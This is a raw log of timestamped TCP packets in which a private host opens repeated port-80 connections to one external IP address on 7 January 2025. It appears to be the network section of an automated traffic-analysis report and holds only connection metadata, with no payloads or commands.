Jan 7, 2025 11:57:58.525116920 CET	80	49816	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.526300907 CET	49816	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.526392937 CET	49816	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.531157017 CET	80	49816	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.870707035 CET	49816	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.875593901 CET	80	49816	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.875607014 CET	80	49816	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.875616074 CET	80	49816	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:59.163732052 CET	80	49816	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:59.214298010 CET	49816	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:59.291357040 CET	80	49816	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:59.339266062 CET	49816	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:59.415129900 CET	49816	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:59.415848970 CET	49822	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:59.421179056 CET	80	49816	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:59.421232939 CET	80	49822	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:59.421233892 CET	49816	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:59.421299934 CET	49822	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:59.421418905 CET	49822	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:59.426431894 CET	80	49822	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:59.776859045 CET	49822	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:59.781747103 CET	80	49822	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:59.781759024 CET	80	49822	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:59.781774998 CET	80	49822	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:00.077871084 CET	80	49822	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:00.120528936 CET	49822	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:00.210973978 CET	80	49822	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:00.261149883 CET	49822	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:00.334887028 CET	49822	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:00.335431099 CET	49831	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:00.339885950 CET	80	49822	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:00.339958906 CET	49822	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:00.340286016 CET	80	49831	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:00.340352058 CET	49831	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:00.340440035 CET	49831	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:00.345158100 CET	80	49831	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:00.698967934 CET	49831	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:00.703898907 CET	80	49831	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:00.703912973 CET	80	49831	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:00.703921080 CET	80	49831	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:00.997268915 CET	80	49831	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:01.042423964 CET	49831	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:01.131155014 CET	80	49831	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:01.183026075 CET	49831	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:01.259677887 CET	49831	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:01.260817051 CET	49839	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:01.264708996 CET	80	49831	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:01.264759064 CET	49831	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:01.265629053 CET	80	49839	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:01.265692949 CET	49839	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:01.265844107 CET	49839	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:01.270662069 CET	80	49839	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:01.620719910 CET	49839	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:01.625679016 CET	80	49839	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:01.625691891 CET	80	49839	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:01.625700951 CET	80	49839	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:01.903645039 CET	80	49839	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:01.948803902 CET	49839	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:02.030989885 CET	80	49839	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:02.073765039 CET	49839	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:02.156089067 CET	49839	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:02.156807899 CET	49845	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:02.161360025 CET	80	49839	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:02.161417961 CET	49839	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:02.161613941 CET	80	49845	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:02.161688089 CET	49845	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:02.161807060 CET	49845	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:02.166600943 CET	80	49845	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:02.511254072 CET	49845	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:02.516112089 CET	80	49845	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:02.516166925 CET	80	49845	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:02.516176939 CET	80	49845	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:02.799170017 CET	80	49845	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:02.839282990 CET	49845	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:02.927192926 CET	80	49845	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:02.979921103 CET	49845	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.053395033 CET	49845	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.054099083 CET	49852	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.058407068 CET	80	49845	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.058478117 CET	49845	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.058948040 CET	80	49852	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.059015036 CET	49852	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.059146881 CET	49852	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.063877106 CET	80	49852	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.230581999 CET	49852	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.231180906 CET	49854	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.235919952 CET	80	49854	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.235982895 CET	49854	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.236080885 CET	49854	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.240895987 CET	80	49854	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.276379108 CET	80	49852	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.354551077 CET	49858	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.360546112 CET	80	49858	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.360614061 CET	49858	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.360778093 CET	49858	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.366755009 CET	80	49858	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.513272047 CET	80	49852	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.513324022 CET	49852	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.589524031 CET	49854	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.596899033 CET	80	49854	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.599687099 CET	80	49854	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.714380026 CET	49858	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:03.719335079 CET	80	49858	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.719350100 CET	80	49858	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.719362020 CET	80	49858	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.880956888 CET	80	49854	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:03.933032036 CET	49854	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.012717962 CET	80	49854	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:04.024732113 CET	80	49858	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:04.058032036 CET	49854	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.073669910 CET	49858	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.160648108 CET	80	49858	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:04.214288950 CET	49858	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.278779030 CET	49854	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.279050112 CET	49858	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.279640913 CET	49865	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.283756971 CET	80	49854	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:04.283871889 CET	49854	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.284018993 CET	80	49858	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:04.284075022 CET	49858	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.284442902 CET	80	49865	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:04.284652948 CET	49865	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.284768105 CET	49865	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.289484978 CET	80	49865	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:04.636250973 CET	49865	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:04.641063929 CET	80	49865	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:04.641074896 CET	80	49865	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:04.641088963 CET	80	49865	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:05.891771078 CET	80	49865	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:05.892373085 CET	80	49865	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:05.892383099 CET	80	49865	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:05.892453909 CET	49865	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:05.892565966 CET	80	49865	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:05.892829895 CET	80	49865	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:05.892889977 CET	49865	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:05.894587994 CET	49865	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.007244110 CET	49871	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.012015104 CET	80	49871	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:06.012083054 CET	49871	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.012166977 CET	49871	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.016943932 CET	80	49871	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:06.370724916 CET	49871	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.375638962 CET	80	49871	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:06.375650883 CET	80	49871	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:06.375654936 CET	80	49871	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:06.662308931 CET	80	49871	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:06.714349031 CET	49871	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.791254997 CET	80	49871	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:06.839279890 CET	49871	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.912611008 CET	49865	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.913022995 CET	49871	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.913625956 CET	49877	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.917869091 CET	80	49871	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:06.918401003 CET	80	49877	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:06.918466091 CET	49871	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.918514967 CET	49877	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.918613911 CET	49877	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:06.923357010 CET	80	49877	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:07.277009010 CET	49877	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:07.281939030 CET	80	49877	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:07.281953096 CET	80	49877	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:07.281964064 CET	80	49877	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:07.594150066 CET	80	49877	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:07.636200905 CET	49877	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:07.946748018 CET	80	49877	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:07.995558023 CET	49877	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.068023920 CET	49877	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.068594933 CET	49885	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.078543901 CET	80	49885	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:08.078623056 CET	49885	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.078706980 CET	49885	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.078989983 CET	80	49877	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:08.079044104 CET	49877	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.083497047 CET	80	49885	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:08.433121920 CET	49885	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.438522100 CET	80	49885	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:08.438585043 CET	80	49885	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:08.438594103 CET	80	49885	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:08.719189882 CET	80	49885	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:08.761168003 CET	49885	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.847981930 CET	80	49885	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:08.901798010 CET	49885	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.960228920 CET	49885	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.960855961 CET	49890	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.965702057 CET	80	49885	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:08.965780020 CET	49885	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.966021061 CET	80	49890	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:08.967006922 CET	49890	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.967118025 CET	49890	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:08.971973896 CET	80	49890	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.027321100 CET	49890	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.027791023 CET	49893	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.032574892 CET	80	49893	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.032663107 CET	49893	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.032735109 CET	49893	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.037518024 CET	80	49893	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.072318077 CET	80	49890	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.146123886 CET	49894	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.151015043 CET	80	49894	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.151103020 CET	49894	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.151165009 CET	49894	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.155913115 CET	80	49894	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.386934996 CET	49893	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.391750097 CET	80	49893	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.391905069 CET	80	49893	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.440958023 CET	80	49890	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.441046953 CET	49890	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.495878935 CET	49894	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.500775099 CET	80	49894	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.500787020 CET	80	49894	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.500797033 CET	80	49894	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.697854996 CET	80	49893	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.745570898 CET	49893	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.791100025 CET	80	49894	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.836945057 CET	80	49893	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:09.839302063 CET	49894	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.886184931 CET	49893	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:09.960494041 CET	80	49894	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:10.011168003 CET	49894	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.086222887 CET	49766	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.087140083 CET	49894	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.087150097 CET	49893	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.087898970 CET	49900	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.092070103 CET	80	49894	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:10.092144012 CET	49894	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.092375994 CET	80	49893	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:10.092437983 CET	49893	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.092704058 CET	80	49900	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:10.092776060 CET	49900	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.092864990 CET	49900	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.097670078 CET	80	49900	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:10.448831081 CET	49900	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.454405069 CET	80	49900	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:10.454413891 CET	80	49900	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:10.454422951 CET	80	49900	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:10.748788118 CET	80	49900	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:10.792435884 CET	49900	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:10.883802891 CET	80	49900	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:10.933073044 CET	49900	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.007253885 CET	49906	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.012115002 CET	80	49906	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:11.012212992 CET	49906	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.012303114 CET	49906	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.017103910 CET	80	49906	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:11.370767117 CET	49906	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.375631094 CET	80	49906	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:11.375642061 CET	80	49906	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:11.375657082 CET	80	49906	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:11.659385920 CET	80	49906	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:11.714322090 CET	49906	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.829032898 CET	80	49906	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:11.870541096 CET	49906	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.945641994 CET	49906	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.946500063 CET	49913	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.950665951 CET	80	49906	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:11.950731993 CET	49906	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.951379061 CET	80	49913	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:11.951596975 CET	49913	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.951596975 CET	49913	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:11.956446886 CET	80	49913	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:12.308156013 CET	49913	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:12.313046932 CET	80	49913	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:12.313060045 CET	80	49913	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:12.313067913 CET	80	49913	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:12.615961075 CET	80	49913	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:12.667429924 CET	49913	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:12.749866009 CET	80	49913	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:12.808078051 CET	49913	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:12.867774963 CET	49913	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:12.868551016 CET	49921	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:12.874429941 CET	80	49913	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:12.874501944 CET	49913	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:12.874804020 CET	80	49921	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:12.874871969 CET	49921	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:12.874989986 CET	49921	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:12.879725933 CET	80	49921	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:13.230067968 CET	49921	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:13.234962940 CET	80	49921	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:13.234972954 CET	80	49921	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:13.234982014 CET	80	49921	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:13.521336079 CET	80	49921	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:13.573704004 CET	49921	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:13.657116890 CET	80	49921	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:13.698672056 CET	49921	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:13.769062042 CET	49900	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:13.779850960 CET	49921	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:13.780472040 CET	49926	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:13.801048040 CET	80	49921	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:13.801134109 CET	49921	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:13.803987026 CET	80	49926	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:13.804069996 CET	49926	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:13.804177046 CET	49926	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:13.809528112 CET	80	49926	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.151956081 CET	49926	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.156864882 CET	80	49926	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.156878948 CET	80	49926	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.156887054 CET	80	49926	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.452128887 CET	80	49926	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.495557070 CET	49926	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.585320950 CET	80	49926	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.636272907 CET	49926	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.710098028 CET	49926	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.710791111 CET	49932	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.715039015 CET	80	49926	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.715106010 CET	49926	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.715542078 CET	80	49932	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.715725899 CET	49932	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.715848923 CET	49932	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.720549107 CET	80	49932	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.841403008 CET	49933	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.841478109 CET	49932	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.974896908 CET	49934	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.987884998 CET	80	49933	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.987930059 CET	80	49934	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.987948895 CET	49933	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.987967968 CET	49934	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.988063097 CET	49933	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.988110065 CET	49934	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:14.992755890 CET	80	49933	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:14.992886066 CET	80	49934	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.028326988 CET	80	49932	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.189568043 CET	80	49932	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.189646006 CET	49932	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.339560032 CET	49934	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.339560032 CET	49933	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.344383955 CET	80	49934	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.344403982 CET	80	49934	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.344413042 CET	80	49934	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.344469070 CET	80	49933	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.344477892 CET	80	49933	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.644359112 CET	80	49934	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.645164013 CET	80	49933	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.698771000 CET	49933	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.698772907 CET	49934	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.774910927 CET	80	49934	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.779230118 CET	80	49933	185.158.202.52	192.168.2.4
Jan 7, 2025 11:58:15.823781013 CET	49933	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.823788881 CET	49934	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.905962944 CET	49933	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:58:15.906373024 CET	49934	80	192.168.2.4	185.158.202.52
